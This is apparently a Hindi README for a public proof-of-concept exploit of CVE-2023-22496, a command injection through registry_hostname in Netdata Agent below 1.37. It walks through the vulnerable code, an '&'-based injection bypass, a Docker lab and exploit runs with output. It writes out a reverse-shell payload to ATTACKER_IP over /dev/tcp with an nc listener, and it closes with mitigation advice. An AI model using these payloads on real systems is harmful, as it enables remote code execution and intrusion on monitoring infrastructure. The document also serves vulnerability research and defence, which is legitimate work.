
CVE-2023-22496 के लिए PoC: registry_hostname के माध्यम से Netdata Agent <1.37 में OS Command Injection
गंभीरता: क्रांतिकारी (CVSS 9.8)
प्रभावित: Netdata Agent < 1.37.0
में ठीक किया गया: v1.37.0
प्रकार: OS कमांड इंजेक्शन (CWE-78)
CVE-2023-22496 Netdata के स्वास्थ्य अलर्ट सूचना प्रणाली में एक OS कमांड इंजेक्शन भेद्यता है। स्ट्रीमिंग श्रृंखला में किसी भी नोड का registry_hostname बिना सैनिटाइजेशन के शेल कमांड में डाला जाता है। एक हमलावर जो Netdata कॉन्फिग फ़ाइल में registry hostname सेट कर सकता है, वह अलर्ट प्रोसेस करने वाले किसी भी पैरेंट नोड पर netdata प्रक्रिया उपयोगकर्ता के रूप में रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है।
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← NO SANITISATION — attacker-controlled
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // run via /bin/sh
...
}
spawn_enq_cmd स्ट्रिंग को /bin/sh -c को पास करता है, जो इसे शेल के रूप में मूल्यांकन करता है। चूंकि registry_hostname कभी सैनिटाइज़ नहीं किया जाता, एक हमलावर मनमाने शेल कमांड इंजेक्ट कर सकता है।
exec प्रक्रिया-प्रतिस्थापनसामान्य इंजेक्शन `'; cmd; '` काम नहीं करता क्योंकि exec शेल बिल्टइन वर्तमान शेल प्रक्रिया को बदल देता है, इसलिए इंजेक्ट किया गया ;cmd; कभी पहुंच नहीं पाता।
कार्यशील बायपास — & (पृष्ठभूमि ऑपरेटर) का उपयोग करें:
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# Execution flow:
# exec alarm-notify.sh 'root' 'x' & → runs in background; shell stays alive
# touch /tmp/pwned & → shell evaluates this; file created
# # → rest is a comment; ignored
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (attacker) │ │ (relay) │ │ (victim / target) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() fires
with injected registry_hostname
→ RCE on agent_parent
हमलावर को केवल स्ट्रीमिंग श्रृंखला में किसी भी नोड को नियंत्रित करने की आवश्यकता होती है। registry_hostname स्ट्रीम प्रोटोकॉल में प्रचारित किया जाता है और जब भी कोई पैरेंट नोड health_alarm_execute को कॉल करता है, तो हूबहू उपयोग किया जाता है।
CVE-2023-22496-PoC/
├── Dockerfile # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml # 3-node vulnerable streaming environment
├── exploit.py # Standalone exploit script
├── config/
│ ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│ ├── parent_stream.conf # Parent accepts streams + evaluates health
│ ├── parent_guid # Fixed node GUID
│ ├── middle_netdata.conf # Middle relay config
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # Child sender config
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
Netdata को प्रारंभ होने में ~15 सेकंड प्रतीक्षा करें, फिर सत्यापित करें:
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"
# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
अपेक्षित आउटपुट:
======================================================================
CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
Shell command : 'touch /tmp/pwned'
Injected host : "x' & touch /tmp/pwned & #"
[*] Pre-flight: verifying Docker environment
[*] All 3 containers are running.
[*] Step 1: Writing injected netdata.conf for agent_parent
Written: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] Step 2: Restarting agent_parent to load injected config
...
agent_parent is up and responding.
[*] Step 3: Waiting 65s for a disk_space WARNING alarm
[*] Step 4: Checking for command execution evidence
======================================================================
✅ SUCCESS — CVE-2023-22496 CONFIRMED
'/tmp/pwned' exists on agent_parent
======================================================================
# On your listener machine:
nc -lvnp 4444
# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# Stop and remove containers + volumes
docker compose down -v
# Remove the image
docker rmi netdata-vuln:v1.36.1
| कार्रवाई | विवरण |
|---|---|
| अपग्रेड | Netdata Agent को ≥ v1.37.0 में अपडेट करें |
| प्रतिबंधित करें | netdata.conf पर लिखने की पहुंच प्रतिबंधित करें |
| नेटवर्क | स्ट्रीमिंग पोर्ट (19999/tcp) को केवल विश्वसनीय नेटवर्क तक सीमित करें |
| सत्यापित करें | netdata --version — पुष्टि करें कि आप v1.37 से पहले के रिलीज़ पर नहीं हैं |
v1.37.0 में फिक्स registry_hostname को शेल कमांड में डालने से पहले [a-zA-Z0-9._-] के बाहर के किसी भी वर्ण को अस्वीकार करके सैनिटाइज़ करता है।
यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। इस PoC को उन सिस्टमों पर चलाना जिनके आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानते।